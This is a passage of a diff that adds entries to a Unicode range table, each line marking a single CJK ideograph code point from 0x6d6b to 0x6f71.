+ [0x6d6b, 0x6d6b], /* CJK Ideograph */
+ [0x6d6c, 0x6d6c], /* CJK Ideograph */
+ [0x6d6d, 0x6d6d], /* CJK Ideograph */
+ [0x6d6e, 0x6d6e], /* CJK Ideograph */
+ [0x6d6f, 0x6d6f], /* CJK Ideograph */
+ [0x6d70, 0x6d70], /* CJK Ideograph */
+ [0x6d71, 0x6d71], /* CJK Ideograph */
+ [0x6d72, 0x6d72], /* CJK Ideograph */
+ [0x6d73, 0x6d73], /* CJK Ideograph */
+ [0x6d74, 0x6d74], /* CJK Ideograph */
+ [0x6d75, 0x6d75], /* CJK Ideograph */
+ [0x6d76, 0x6d76], /* CJK Ideograph */
+ [0x6d77, 0x6d77], /* CJK Ideograph */
+ [0x6d78, 0x6d78], /* CJK Ideograph */
+ [0x6d79, 0x6d79], /* CJK Ideograph */
+ [0x6d7a, 0x6d7a], /* CJK Ideograph */
+ [0x6d7b, 0x6d7b], /* CJK Ideograph */
+ [0x6d7c, 0x6d7c], /* CJK Ideograph */
+ [0x6d7d, 0x6d7d], /* CJK Ideograph */
+ [0x6d7e, 0x6d7e], /* CJK Ideograph */
+ [0x6d7f, 0x6d7f], /* CJK Ideograph */
+ [0x6d80, 0x6d80], /* CJK Ideograph */
+ [0x6d81, 0x6d81], /* CJK Ideograph */
+ [0x6d82, 0x6d82], /* CJK Ideograph */
+ [0x6d83, 0x6d83], /* CJK Ideograph */
+ [0x6d84, 0x6d84], /* CJK Ideograph */
+ [0x6d85, 0x6d85], /* CJK Ideograph */
+ [0x6d86, 0x6d86], /* CJK Ideograph */
+ [0x6d87, 0x6d87], /* CJK Ideograph */
+ [0x6d88, 0x6d88], /* CJK Ideograph */
+ [0x6d89, 0x6d89], /* CJK Ideograph */
+ [0x6d8a, 0x6d8a], /* CJK Ideograph */
+ [0x6d8b, 0x6d8b], /* CJK Ideograph */
+ [0x6d8c, 0x6d8c], /* CJK Ideograph */
+ [0x6d8d, 0x6d8d], /* CJK Ideograph */
+ [0x6d8e, 0x6d8e], /* CJK Ideograph */
+ [0x6d8f, 0x6d8f], /* CJK Ideograph */
+ [0x6d90, 0x6d90], /* CJK Ideograph */
+ [0x6d91, 0x6d91], /* CJK Ideograph */
+ [0x6d92, 0x6d92], /* CJK Ideograph */
+ [0x6d93, 0x6d93], /* CJK Ideograph */
+ [0x6d94, 0x6d94], /* CJK Ideograph */
+ [0x6d95, 0x6d95], /* CJK Ideograph */
+ [0x6d96, 0x6d96], /* CJK Ideograph */
+ [0x6d97, 0x6d97], /* CJK Ideograph */
+ [0x6d98, 0x6d98], /* CJK Ideograph */
+ [0x6d99, 0x6d99], /* CJK Ideograph */
+ [0x6d9a, 0x6d9a], /* CJK Ideograph */
+ [0x6d9b, 0x6d9b], /* CJK Ideograph */
+ [0x6d9c, 0x6d9c], /* CJK Ideograph */
+ [0x6d9d, 0x6d9d], /* CJK Ideograph */
+ [0x6d9e, 0x6d9e], /* CJK Ideograph */
+ [0x6d9f, 0x6d9f], /* CJK Ideograph */
+ [0x6da0, 0x6da0], /* CJK Ideograph */
+ [0x6da1, 0x6da1], /* CJK Ideograph */
+ [0x6da2, 0x6da2], /* CJK Ideograph */
+ [0x6da3, 0x6da3], /* CJK Ideograph */
+ [0x6da4, 0x6da4], /* CJK Ideograph */
+ [0x6da5, 0x6da5], /* CJK Ideograph */
+ [0x6da6, 0x6da6], /* CJK Ideograph */
+ [0x6da7, 0x6da7], /* CJK Ideograph */
+ [0x6da8, 0x6da8], /* CJK Ideograph */
+ [0x6da9, 0x6da9], /* CJK Ideograph */
+ [0x6daa, 0x6daa], /* CJK Ideograph */
+ [0x6dab, 0x6dab], /* CJK Ideograph */
+ [0x6dac, 0x6dac], /* CJK Ideograph */
+ [0x6dad, 0x6dad], /* CJK Ideograph */
+ [0x6dae, 0x6dae], /* CJK Ideograph */
+ [0x6daf, 0x6daf], /* CJK Ideograph */
+ [0x6db0, 0x6db0], /* CJK Ideograph */
+ [0x6db1, 0x6db1], /* CJK Ideograph */
+ [0x6db2, 0x6db2], /* CJK Ideograph */
+ [0x6db3, 0x6db3], /* CJK Ideograph */
+ [0x6db4, 0x6db4], /* CJK Ideograph */
+ [0x6db5, 0x6db5], /* CJK Ideograph */
+ [0x6db6, 0x6db6], /* CJK Ideograph */
+ [0x6db7, 0x6db7], /* CJK Ideograph */
+ [0x6db8, 0x6db8], /* CJK Ideograph */
+ [0x6db9, 0x6db9], /* CJK Ideograph */
+ [0x6dba, 0x6dba], /* CJK Ideograph */
+ [0x6dbb, 0x6dbb], /* CJK Ideograph */
+ [0x6dbc, 0x6dbc], /* CJK Ideograph */
+ [0x6dbd, 0x6dbd], /* CJK Ideograph */
+ [0x6dbe, 0x6dbe], /* CJK Ideograph */
+ [0x6dbf, 0x6dbf], /* CJK Ideograph */
+ [0x6dc0, 0x6dc0], /* CJK Ideograph */
+ [0x6dc1, 0x6dc1], /* CJK Ideograph */
+ [0x6dc2, 0x6dc2], /* CJK Ideograph */
+ [0x6dc3, 0x6dc3], /* CJK Ideograph */
+ [0x6dc4, 0x6dc4], /* CJK Ideograph */
+ [0x6dc5, 0x6dc5], /* CJK Ideograph */
+ [0x6dc6, 0x6dc6], /* CJK Ideograph */
+ [0x6dc7, 0x6dc7], /* CJK Ideograph */
+ [0x6dc8, 0x6dc8], /* CJK Ideograph */
+ [0x6dc9, 0x6dc9], /* CJK Ideograph */
+ [0x6dca, 0x6dca], /* CJK Ideograph */
+ [0x6dcb, 0x6dcb], /* CJK Ideograph */
+ [0x6dcc, 0x6dcc], /* CJK Ideograph */
+ [0x6dcd, 0x6dcd], /* CJK Ideograph */
+ [0x6dce, 0x6dce], /* CJK Ideograph */
+ [0x6dcf, 0x6dcf], /* CJK Ideograph */
+ [0x6dd0, 0x6dd0], /* CJK Ideograph */
+ [0x6dd1, 0x6dd1], /* CJK Ideograph */
+ [0x6dd2, 0x6dd2], /* CJK Ideograph */
+ [0x6dd3, 0x6dd3], /* CJK Ideograph */
+ [0x6dd4, 0x6dd4], /* CJK Ideograph */
+ [0x6dd5, 0x6dd5], /* CJK Ideograph */
+ [0x6dd6, 0x6dd6], /* CJK Ideograph */
+ [0x6dd7, 0x6dd7], /* CJK Ideograph */
+ [0x6dd8, 0x6dd8], /* CJK Ideograph */
+ [0x6dd9, 0x6dd9], /* CJK Ideograph */
+ [0x6dda, 0x6dda], /* CJK Ideograph */
+ [0x6ddb, 0x6ddb], /* CJK Ideograph */
+ [0x6ddc, 0x6ddc], /* CJK Ideograph */
+ [0x6ddd, 0x6ddd], /* CJK Ideograph */
+ [0x6dde, 0x6dde], /* CJK Ideograph */
+ [0x6ddf, 0x6ddf], /* CJK Ideograph */
+ [0x6de0, 0x6de0], /* CJK Ideograph */
+ [0x6de1, 0x6de1], /* CJK Ideograph */
+ [0x6de2, 0x6de2], /* CJK Ideograph */
+ [0x6de3, 0x6de3], /* CJK Ideograph */
+ [0x6de4, 0x6de4], /* CJK Ideograph */
+ [0x6de5, 0x6de5], /* CJK Ideograph */
+ [0x6de6, 0x6de6], /* CJK Ideograph */
+ [0x6de7, 0x6de7], /* CJK Ideograph */
+ [0x6de8, 0x6de8], /* CJK Ideograph */
+ [0x6de9, 0x6de9], /* CJK Ideograph */
+ [0x6dea, 0x6dea], /* CJK Ideograph */
+ [0x6deb, 0x6deb], /* CJK Ideograph */
+ [0x6dec, 0x6dec], /* CJK Ideograph */
+ [0x6ded, 0x6ded], /* CJK Ideograph */
+ [0x6dee, 0x6dee], /* CJK Ideograph */
+ [0x6def, 0x6def], /* CJK Ideograph */
+ [0x6df0, 0x6df0], /* CJK Ideograph */
+ [0x6df1, 0x6df1], /* CJK Ideograph */
+ [0x6df2, 0x6df2], /* CJK Ideograph */
+ [0x6df3, 0x6df3], /* CJK Ideograph */
+ [0x6df4, 0x6df4], /* CJK Ideograph */
+ [0x6df5, 0x6df5], /* CJK Ideograph */
+ [0x6df6, 0x6df6], /* CJK Ideograph */
+ [0x6df7, 0x6df7], /* CJK Ideograph */
+ [0x6df8, 0x6df8], /* CJK Ideograph */
+ [0x6df9, 0x6df9], /* CJK Ideograph */
+ [0x6dfa, 0x6dfa], /* CJK Ideograph */
+ [0x6dfb, 0x6dfb], /* CJK Ideograph */
+ [0x6dfc, 0x6dfc], /* CJK Ideograph */
+ [0x6dfd, 0x6dfd], /* CJK Ideograph */
+ [0x6dfe, 0x6dfe], /* CJK Ideograph */
+ [0x6dff, 0x6dff], /* CJK Ideograph */
+ [0x6e00, 0x6e00], /* CJK Ideograph */
+ [0x6e01, 0x6e01], /* CJK Ideograph */
+ [0x6e02, 0x6e02], /* CJK Ideograph */
+ [0x6e03, 0x6e03], /* CJK Ideograph */
+ [0x6e04, 0x6e04], /* CJK Ideograph */
+ [0x6e05, 0x6e05], /* CJK Ideograph */
+ [0x6e06, 0x6e06], /* CJK Ideograph */
+ [0x6e07, 0x6e07], /* CJK Ideograph */
+ [0x6e08, 0x6e08], /* CJK Ideograph */
+ [0x6e09, 0x6e09], /* CJK Ideograph */
+ [0x6e0a, 0x6e0a], /* CJK Ideograph */
+ [0x6e0b, 0x6e0b], /* CJK Ideograph */
+ [0x6e0c, 0x6e0c], /* CJK Ideograph */
+ [0x6e0d, 0x6e0d], /* CJK Ideograph */
+ [0x6e0e, 0x6e0e], /* CJK Ideograph */
+ [0x6e0f, 0x6e0f], /* CJK Ideograph */
+ [0x6e10, 0x6e10], /* CJK Ideograph */
+ [0x6e11, 0x6e11], /* CJK Ideograph */
+ [0x6e12, 0x6e12], /* CJK Ideograph */
+ [0x6e13, 0x6e13], /* CJK Ideograph */
+ [0x6e14, 0x6e14], /* CJK Ideograph */
+ [0x6e15, 0x6e15], /* CJK Ideograph */
+ [0x6e16, 0x6e16], /* CJK Ideograph */
+ [0x6e17, 0x6e17], /* CJK Ideograph */
+ [0x6e18, 0x6e18], /* CJK Ideograph */
+ [0x6e19, 0x6e19], /* CJK Ideograph */
+ [0x6e1a, 0x6e1a], /* CJK Ideograph */
+ [0x6e1b, 0x6e1b], /* CJK Ideograph */
+ [0x6e1c, 0x6e1c], /* CJK Ideograph */
+ [0x6e1d, 0x6e1d], /* CJK Ideograph */
+ [0x6e1e, 0x6e1e], /* CJK Ideograph */
+ [0x6e1f, 0x6e1f], /* CJK Ideograph */
+ [0x6e20, 0x6e20], /* CJK Ideograph */
+ [0x6e21, 0x6e21], /* CJK Ideograph */
+ [0x6e22, 0x6e22], /* CJK Ideograph */
+ [0x6e23, 0x6e23], /* CJK Ideograph */
+ [0x6e24, 0x6e24], /* CJK Ideograph */
+ [0x6e25, 0x6e25], /* CJK Ideograph */
+ [0x6e26, 0x6e26], /* CJK Ideograph */
+ [0x6e27, 0x6e27], /* CJK Ideograph */
+ [0x6e28, 0x6e28], /* CJK Ideograph */
+ [0x6e29, 0x6e29], /* CJK Ideograph */
+ [0x6e2a, 0x6e2a], /* CJK Ideograph */
+ [0x6e2b, 0x6e2b], /* CJK Ideograph */
+ [0x6e2c, 0x6e2c], /* CJK Ideograph */
+ [0x6e2d, 0x6e2d], /* CJK Ideograph */
+ [0x6e2e, 0x6e2e], /* CJK Ideograph */
+ [0x6e2f, 0x6e2f], /* CJK Ideograph */
+ [0x6e30, 0x6e30], /* CJK Ideograph */
+ [0x6e31, 0x6e31], /* CJK Ideograph */
+ [0x6e32, 0x6e32], /* CJK Ideograph */
+ [0x6e33, 0x6e33], /* CJK Ideograph */
+ [0x6e34, 0x6e34], /* CJK Ideograph */
+ [0x6e35, 0x6e35], /* CJK Ideograph */
+ [0x6e36, 0x6e36], /* CJK Ideograph */
+ [0x6e37, 0x6e37], /* CJK Ideograph */
+ [0x6e38, 0x6e38], /* CJK Ideograph */
+ [0x6e39, 0x6e39], /* CJK Ideograph */
+ [0x6e3a, 0x6e3a], /* CJK Ideograph */
+ [0x6e3b, 0x6e3b], /* CJK Ideograph */
+ [0x6e3c, 0x6e3c], /* CJK Ideograph */
+ [0x6e3d, 0x6e3d], /* CJK Ideograph */
+ [0x6e3e, 0x6e3e], /* CJK Ideograph */
+ [0x6e3f, 0x6e3f], /* CJK Ideograph */
+ [0x6e40, 0x6e40], /* CJK Ideograph */
+ [0x6e41, 0x6e41], /* CJK Ideograph */
+ [0x6e42, 0x6e42], /* CJK Ideograph */
+ [0x6e43, 0x6e43], /* CJK Ideograph */
+ [0x6e44, 0x6e44], /* CJK Ideograph */
+ [0x6e45, 0x6e45], /* CJK Ideograph */
+ [0x6e46, 0x6e46], /* CJK Ideograph */
+ [0x6e47, 0x6e47], /* CJK Ideograph */
+ [0x6e48, 0x6e48], /* CJK Ideograph */
+ [0x6e49, 0x6e49], /* CJK Ideograph */
+ [0x6e4a, 0x6e4a], /* CJK Ideograph */
+ [0x6e4b, 0x6e4b], /* CJK Ideograph */
+ [0x6e4c, 0x6e4c], /* CJK Ideograph */
+ [0x6e4d, 0x6e4d], /* CJK Ideograph */
+ [0x6e4e, 0x6e4e], /* CJK Ideograph */
+ [0x6e4f, 0x6e4f], /* CJK Ideograph */
+ [0x6e50, 0x6e50], /* CJK Ideograph */
+ [0x6e51, 0x6e51], /* CJK Ideograph */
+ [0x6e52, 0x6e52], /* CJK Ideograph */
+ [0x6e53, 0x6e53], /* CJK Ideograph */
+ [0x6e54, 0x6e54], /* CJK Ideograph */
+ [0x6e55, 0x6e55], /* CJK Ideograph */
+ [0x6e56, 0x6e56], /* CJK Ideograph */
+ [0x6e57, 0x6e57], /* CJK Ideograph */
+ [0x6e58, 0x6e58], /* CJK Ideograph */
+ [0x6e59, 0x6e59], /* CJK Ideograph */
+ [0x6e5a, 0x6e5a], /* CJK Ideograph */
+ [0x6e5b, 0x6e5b], /* CJK Ideograph */
+ [0x6e5c, 0x6e5c], /* CJK Ideograph */
+ [0x6e5d, 0x6e5d], /* CJK Ideograph */
+ [0x6e5e, 0x6e5e], /* CJK Ideograph */
+ [0x6e5f, 0x6e5f], /* CJK Ideograph */
+ [0x6e60, 0x6e60], /* CJK Ideograph */
+ [0x6e61, 0x6e61], /* CJK Ideograph */
+ [0x6e62, 0x6e62], /* CJK Ideograph */
+ [0x6e63, 0x6e63], /* CJK Ideograph */
+ [0x6e64, 0x6e64], /* CJK Ideograph */
+ [0x6e65, 0x6e65], /* CJK Ideograph */
+ [0x6e66, 0x6e66], /* CJK Ideograph */
+ [0x6e67, 0x6e67], /* CJK Ideograph */
+ [0x6e68, 0x6e68], /* CJK Ideograph */
+ [0x6e69, 0x6e69], /* CJK Ideograph */
+ [0x6e6a, 0x6e6a], /* CJK Ideograph */
+ [0x6e6b, 0x6e6b], /* CJK Ideograph */
+ [0x6e6c, 0x6e6c], /* CJK Ideograph */
+ [0x6e6d, 0x6e6d], /* CJK Ideograph */
+ [0x6e6e, 0x6e6e], /* CJK Ideograph */
+ [0x6e6f, 0x6e6f], /* CJK Ideograph */
+ [0x6e70, 0x6e70], /* CJK Ideograph */
+ [0x6e71, 0x6e71], /* CJK Ideograph */
+ [0x6e72, 0x6e72], /* CJK Ideograph */
+ [0x6e73, 0x6e73], /* CJK Ideograph */
+ [0x6e74, 0x6e74], /* CJK Ideograph */
+ [0x6e75, 0x6e75], /* CJK Ideograph */
+ [0x6e76, 0x6e76], /* CJK Ideograph */
+ [0x6e77, 0x6e77], /* CJK Ideograph */
+ [0x6e78, 0x6e78], /* CJK Ideograph */
+ [0x6e79, 0x6e79], /* CJK Ideograph */
+ [0x6e7a, 0x6e7a], /* CJK Ideograph */
+ [0x6e7b, 0x6e7b], /* CJK Ideograph */
+ [0x6e7c, 0x6e7c], /* CJK Ideograph */
+ [0x6e7d, 0x6e7d], /* CJK Ideograph */
+ [0x6e7e, 0x6e7e], /* CJK Ideograph */
+ [0x6e7f, 0x6e7f], /* CJK Ideograph */
+ [0x6e80, 0x6e80], /* CJK Ideograph */
+ [0x6e81, 0x6e81], /* CJK Ideograph */
+ [0x6e82, 0x6e82], /* CJK Ideograph */
+ [0x6e83, 0x6e83], /* CJK Ideograph */
+ [0x6e84, 0x6e84], /* CJK Ideograph */
+ [0x6e85, 0x6e85], /* CJK Ideograph */
+ [0x6e86, 0x6e86], /* CJK Ideograph */
+ [0x6e87, 0x6e87], /* CJK Ideograph */
+ [0x6e88, 0x6e88], /* CJK Ideograph */
+ [0x6e89, 0x6e89], /* CJK Ideograph */
+ [0x6e8a, 0x6e8a], /* CJK Ideograph */
+ [0x6e8b, 0x6e8b], /* CJK Ideograph */
+ [0x6e8c, 0x6e8c], /* CJK Ideograph */
+ [0x6e8d, 0x6e8d], /* CJK Ideograph */
+ [0x6e8e, 0x6e8e], /* CJK Ideograph */
+ [0x6e8f, 0x6e8f], /* CJK Ideograph */
+ [0x6e90, 0x6e90], /* CJK Ideograph */
+ [0x6e91, 0x6e91], /* CJK Ideograph */
+ [0x6e92, 0x6e92], /* CJK Ideograph */
+ [0x6e93, 0x6e93], /* CJK Ideograph */
+ [0x6e94, 0x6e94], /* CJK Ideograph */
+ [0x6e95, 0x6e95], /* CJK Ideograph */
+ [0x6e96, 0x6e96], /* CJK Ideograph */
+ [0x6e97, 0x6e97], /* CJK Ideograph */
+ [0x6e98, 0x6e98], /* CJK Ideograph */
+ [0x6e99, 0x6e99], /* CJK Ideograph */
+ [0x6e9a, 0x6e9a], /* CJK Ideograph */
+ [0x6e9b, 0x6e9b], /* CJK Ideograph */
+ [0x6e9c, 0x6e9c], /* CJK Ideograph */
+ [0x6e9d, 0x6e9d], /* CJK Ideograph */
+ [0x6e9e, 0x6e9e], /* CJK Ideograph */
+ [0x6e9f, 0x6e9f], /* CJK Ideograph */
+ [0x6ea0, 0x6ea0], /* CJK Ideograph */
+ [0x6ea1, 0x6ea1], /* CJK Ideograph */
+ [0x6ea2, 0x6ea2], /* CJK Ideograph */
+ [0x6ea3, 0x6ea3], /* CJK Ideograph */
+ [0x6ea4, 0x6ea4], /* CJK Ideograph */
+ [0x6ea5, 0x6ea5], /* CJK Ideograph */
+ [0x6ea6, 0x6ea6], /* CJK Ideograph */
+ [0x6ea7, 0x6ea7], /* CJK Ideograph */
+ [0x6ea8, 0x6ea8], /* CJK Ideograph */
+ [0x6ea9, 0x6ea9], /* CJK Ideograph */
+ [0x6eaa, 0x6eaa], /* CJK Ideograph */
+ [0x6eab, 0x6eab], /* CJK Ideograph */
+ [0x6eac, 0x6eac], /* CJK Ideograph */
+ [0x6ead, 0x6ead], /* CJK Ideograph */
+ [0x6eae, 0x6eae], /* CJK Ideograph */
+ [0x6eaf, 0x6eaf], /* CJK Ideograph */
+ [0x6eb0, 0x6eb0], /* CJK Ideograph */
+ [0x6eb1, 0x6eb1], /* CJK Ideograph */
+ [0x6eb2, 0x6eb2], /* CJK Ideograph */
+ [0x6eb3, 0x6eb3], /* CJK Ideograph */
+ [0x6eb4, 0x6eb4], /* CJK Ideograph */
+ [0x6eb5, 0x6eb5], /* CJK Ideograph */
+ [0x6eb6, 0x6eb6], /* CJK Ideograph */
+ [0x6eb7, 0x6eb7], /* CJK Ideograph */
+ [0x6eb8, 0x6eb8], /* CJK Ideograph */
+ [0x6eb9, 0x6eb9], /* CJK Ideograph */
+ [0x6eba, 0x6eba], /* CJK Ideograph */
+ [0x6ebb, 0x6ebb], /* CJK Ideograph */
+ [0x6ebc, 0x6ebc], /* CJK Ideograph */
+ [0x6ebd, 0x6ebd], /* CJK Ideograph */
+ [0x6ebe, 0x6ebe], /* CJK Ideograph */
+ [0x6ebf, 0x6ebf], /* CJK Ideograph */
+ [0x6ec0, 0x6ec0], /* CJK Ideograph */
+ [0x6ec1, 0x6ec1], /* CJK Ideograph */
+ [0x6ec2, 0x6ec2], /* CJK Ideograph */
+ [0x6ec3, 0x6ec3], /* CJK Ideograph */
+ [0x6ec4, 0x6ec4], /* CJK Ideograph */
+ [0x6ec5, 0x6ec5], /* CJK Ideograph */
+ [0x6ec6, 0x6ec6], /* CJK Ideograph */
+ [0x6ec7, 0x6ec7], /* CJK Ideograph */
+ [0x6ec8, 0x6ec8], /* CJK Ideograph */
+ [0x6ec9, 0x6ec9], /* CJK Ideograph */
+ [0x6eca, 0x6eca], /* CJK Ideograph */
+ [0x6ecb, 0x6ecb], /* CJK Ideograph */
+ [0x6ecc, 0x6ecc], /* CJK Ideograph */
+ [0x6ecd, 0x6ecd], /* CJK Ideograph */
+ [0x6ece, 0x6ece], /* CJK Ideograph */
+ [0x6ecf, 0x6ecf], /* CJK Ideograph */
+ [0x6ed0, 0x6ed0], /* CJK Ideograph */
+ [0x6ed1, 0x6ed1], /* CJK Ideograph */
+ [0x6ed2, 0x6ed2], /* CJK Ideograph */
+ [0x6ed3, 0x6ed3], /* CJK Ideograph */
+ [0x6ed4, 0x6ed4], /* CJK Ideograph */
+ [0x6ed5, 0x6ed5], /* CJK Ideograph */
+ [0x6ed6, 0x6ed6], /* CJK Ideograph */
+ [0x6ed7, 0x6ed7], /* CJK Ideograph */
+ [0x6ed8, 0x6ed8], /* CJK Ideograph */
+ [0x6ed9, 0x6ed9], /* CJK Ideograph */
+ [0x6eda, 0x6eda], /* CJK Ideograph */
+ [0x6edb, 0x6edb], /* CJK Ideograph */
+ [0x6edc, 0x6edc], /* CJK Ideograph */
+ [0x6edd, 0x6edd], /* CJK Ideograph */
+ [0x6ede, 0x6ede], /* CJK Ideograph */
+ [0x6edf, 0x6edf], /* CJK Ideograph */
+ [0x6ee0, 0x6ee0], /* CJK Ideograph */
+ [0x6ee1, 0x6ee1], /* CJK Ideograph */
+ [0x6ee2, 0x6ee2], /* CJK Ideograph */
+ [0x6ee3, 0x6ee3], /* CJK Ideograph */
+ [0x6ee4, 0x6ee4], /* CJK Ideograph */
+ [0x6ee5, 0x6ee5], /* CJK Ideograph */
+ [0x6ee6, 0x6ee6], /* CJK Ideograph */
+ [0x6ee7, 0x6ee7], /* CJK Ideograph */
+ [0x6ee8, 0x6ee8], /* CJK Ideograph */
+ [0x6ee9, 0x6ee9], /* CJK Ideograph */
+ [0x6eea, 0x6eea], /* CJK Ideograph */
+ [0x6eeb, 0x6eeb], /* CJK Ideograph */
+ [0x6eec, 0x6eec], /* CJK Ideograph */
+ [0x6eed, 0x6eed], /* CJK Ideograph */
+ [0x6eee, 0x6eee], /* CJK Ideograph */
+ [0x6eef, 0x6eef], /* CJK Ideograph */
+ [0x6ef0, 0x6ef0], /* CJK Ideograph */
+ [0x6ef1, 0x6ef1], /* CJK Ideograph */
+ [0x6ef2, 0x6ef2], /* CJK Ideograph */
+ [0x6ef3, 0x6ef3], /* CJK Ideograph */
+ [0x6ef4, 0x6ef4], /* CJK Ideograph */
+ [0x6ef5, 0x6ef5], /* CJK Ideograph */
+ [0x6ef6, 0x6ef6], /* CJK Ideograph */
+ [0x6ef7, 0x6ef7], /* CJK Ideograph */
+ [0x6ef8, 0x6ef8], /* CJK Ideograph */
+ [0x6ef9, 0x6ef9], /* CJK Ideograph */
+ [0x6efa, 0x6efa], /* CJK Ideograph */
+ [0x6efb, 0x6efb], /* CJK Ideograph */
+ [0x6efc, 0x6efc], /* CJK Ideograph */
+ [0x6efd, 0x6efd], /* CJK Ideograph */
+ [0x6efe, 0x6efe], /* CJK Ideograph */
+ [0x6eff, 0x6eff], /* CJK Ideograph */
+ [0x6f00, 0x6f00], /* CJK Ideograph */
+ [0x6f01, 0x6f01], /* CJK Ideograph */
+ [0x6f02, 0x6f02], /* CJK Ideograph */
+ [0x6f03, 0x6f03], /* CJK Ideograph */
+ [0x6f04, 0x6f04], /* CJK Ideograph */
+ [0x6f05, 0x6f05], /* CJK Ideograph */
+ [0x6f06, 0x6f06], /* CJK Ideograph */
+ [0x6f07, 0x6f07], /* CJK Ideograph */
+ [0x6f08, 0x6f08], /* CJK Ideograph */
+ [0x6f09, 0x6f09], /* CJK Ideograph */
+ [0x6f0a, 0x6f0a], /* CJK Ideograph */
+ [0x6f0b, 0x6f0b], /* CJK Ideograph */
+ [0x6f0c, 0x6f0c], /* CJK Ideograph */
+ [0x6f0d, 0x6f0d], /* CJK Ideograph */
+ [0x6f0e, 0x6f0e], /* CJK Ideograph */
+ [0x6f0f, 0x6f0f], /* CJK Ideograph */
+ [0x6f10, 0x6f10], /* CJK Ideograph */
+ [0x6f11, 0x6f11], /* CJK Ideograph */
+ [0x6f12, 0x6f12], /* CJK Ideograph */
+ [0x6f13, 0x6f13], /* CJK Ideograph */
+ [0x6f14, 0x6f14], /* CJK Ideograph */
+ [0x6f15, 0x6f15], /* CJK Ideograph */
+ [0x6f16, 0x6f16], /* CJK Ideograph */
+ [0x6f17, 0x6f17], /* CJK Ideograph */
+ [0x6f18, 0x6f18], /* CJK Ideograph */
+ [0x6f19, 0x6f19], /* CJK Ideograph */
+ [0x6f1a, 0x6f1a], /* CJK Ideograph */
+ [0x6f1b, 0x6f1b], /* CJK Ideograph */
+ [0x6f1c, 0x6f1c], /* CJK Ideograph */
+ [0x6f1d, 0x6f1d], /* CJK Ideograph */
+ [0x6f1e, 0x6f1e], /* CJK Ideograph */
+ [0x6f1f, 0x6f1f], /* CJK Ideograph */
+ [0x6f20, 0x6f20], /* CJK Ideograph */
+ [0x6f21, 0x6f21], /* CJK Ideograph */
+ [0x6f22, 0x6f22], /* CJK Ideograph */
+ [0x6f23, 0x6f23], /* CJK Ideograph */
+ [0x6f24, 0x6f24], /* CJK Ideograph */
+ [0x6f25, 0x6f25], /* CJK Ideograph */
+ [0x6f26, 0x6f26], /* CJK Ideograph */
+ [0x6f27, 0x6f27], /* CJK Ideograph */
+ [0x6f28, 0x6f28], /* CJK Ideograph */
+ [0x6f29, 0x6f29], /* CJK Ideograph */
+ [0x6f2a, 0x6f2a], /* CJK Ideograph */
+ [0x6f2b, 0x6f2b], /* CJK Ideograph */
+ [0x6f2c, 0x6f2c], /* CJK Ideograph */
+ [0x6f2d, 0x6f2d], /* CJK Ideograph */
+ [0x6f2e, 0x6f2e], /* CJK Ideograph */
+ [0x6f2f, 0x6f2f], /* CJK Ideograph */
+ [0x6f30, 0x6f30], /* CJK Ideograph */
+ [0x6f31, 0x6f31], /* CJK Ideograph */
+ [0x6f32, 0x6f32], /* CJK Ideograph */
+ [0x6f33, 0x6f33], /* CJK Ideograph */
+ [0x6f34, 0x6f34], /* CJK Ideograph */
+ [0x6f35, 0x6f35], /* CJK Ideograph */
+ [0x6f36, 0x6f36], /* CJK Ideograph */
+ [0x6f37, 0x6f37], /* CJK Ideograph */
+ [0x6f38, 0x6f38], /* CJK Ideograph */
+ [0x6f39, 0x6f39], /* CJK Ideograph */
+ [0x6f3a, 0x6f3a], /* CJK Ideograph */
+ [0x6f3b, 0x6f3b], /* CJK Ideograph */
+ [0x6f3c, 0x6f3c], /* CJK Ideograph */
+ [0x6f3d, 0x6f3d], /* CJK Ideograph */
+ [0x6f3e, 0x6f3e], /* CJK Ideograph */
+ [0x6f3f, 0x6f3f], /* CJK Ideograph */
+ [0x6f40, 0x6f40], /* CJK Ideograph */
+ [0x6f41, 0x6f41], /* CJK Ideograph */
+ [0x6f42, 0x6f42], /* CJK Ideograph */
+ [0x6f43, 0x6f43], /* CJK Ideograph */
+ [0x6f44, 0x6f44], /* CJK Ideograph */
+ [0x6f45, 0x6f45], /* CJK Ideograph */
+ [0x6f46, 0x6f46], /* CJK Ideograph */
+ [0x6f47, 0x6f47], /* CJK Ideograph */
+ [0x6f48, 0x6f48], /* CJK Ideograph */
+ [0x6f49, 0x6f49], /* CJK Ideograph */
+ [0x6f4a, 0x6f4a], /* CJK Ideograph */
+ [0x6f4b, 0x6f4b], /* CJK Ideograph */
+ [0x6f4c, 0x6f4c], /* CJK Ideograph */
+ [0x6f4d, 0x6f4d], /* CJK Ideograph */
+ [0x6f4e, 0x6f4e], /* CJK Ideograph */
+ [0x6f4f, 0x6f4f], /* CJK Ideograph */
+ [0x6f50, 0x6f50], /* CJK Ideograph */
+ [0x6f51, 0x6f51], /* CJK Ideograph */
+ [0x6f52, 0x6f52], /* CJK Ideograph */
+ [0x6f53, 0x6f53], /* CJK Ideograph */
+ [0x6f54, 0x6f54], /* CJK Ideograph */
+ [0x6f55, 0x6f55], /* CJK Ideograph */
+ [0x6f56, 0x6f56], /* CJK Ideograph */
+ [0x6f57, 0x6f57], /* CJK Ideograph */
+ [0x6f58, 0x6f58], /* CJK Ideograph */
+ [0x6f59, 0x6f59], /* CJK Ideograph */
+ [0x6f5a, 0x6f5a], /* CJK Ideograph */
+ [0x6f5b, 0x6f5b], /* CJK Ideograph */
+ [0x6f5c, 0x6f5c], /* CJK Ideograph */
+ [0x6f5d, 0x6f5d], /* CJK Ideograph */
+ [0x6f5e, 0x6f5e], /* CJK Ideograph */
+ [0x6f5f, 0x6f5f], /* CJK Ideograph */
+ [0x6f60, 0x6f60], /* CJK Ideograph */
+ [0x6f61, 0x6f61], /* CJK Ideograph */
+ [0x6f62, 0x6f62], /* CJK Ideograph */
+ [0x6f63, 0x6f63], /* CJK Ideograph */
+ [0x6f64, 0x6f64], /* CJK Ideograph */
+ [0x6f65, 0x6f65], /* CJK Ideograph */
+ [0x6f66, 0x6f66], /* CJK Ideograph */
+ [0x6f67, 0x6f67], /* CJK Ideograph */
+ [0x6f68, 0x6f68], /* CJK Ideograph */
+ [0x6f69, 0x6f69], /* CJK Ideograph */
+ [0x6f6a, 0x6f6a], /* CJK Ideograph */
+ [0x6f6b, 0x6f6b], /* CJK Ideograph */
+ [0x6f6c, 0x6f6c], /* CJK Ideograph */
+ [0x6f6d, 0x6f6d], /* CJK Ideograph */
+ [0x6f6e, 0x6f6e], /* CJK Ideograph */
+ [0x6f6f, 0x6f6f], /* CJK Ideograph */
+ [0x6f70, 0x6f70], /* CJK Ideograph */
+ [0x6f71, 0x6f71], /* CJK Ideograph */
